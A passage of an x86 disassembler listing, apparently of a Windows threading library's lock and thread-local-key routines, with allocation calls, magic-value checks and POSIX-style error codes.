======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax loc_432C2E: ; CODE XREF: ___:00432CA7j call edi ; free add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103C4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F8E2918h], edx ja short loc_432C2E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_432CB0+1 loc_432CB0: ; CODE XREF: ___:00432CAEj jz short loc_432CD5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_432CC2 dec eax jnz short loc_432CC5 or esi, 0FFFFFFFFh jmp short loc_432CC5 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: ___:00432CB8j mov esi, [edi+14h] loc_432CC5: ; CODE XREF: ___:00432CBBj ; ___:00432CC0j call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_432CD5: ; CODE XREF: ___:loc_432CB0j push 1 call sub_401B22 ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432D10 proc near ; CODE XREF: sub_401B22j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_432D10 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 27A0232h push eax call near ptr 2760000h nop test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510980 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510980 call near ptr 7C901005h nop mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510980 nop call near ptr 7C9010EDh loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE 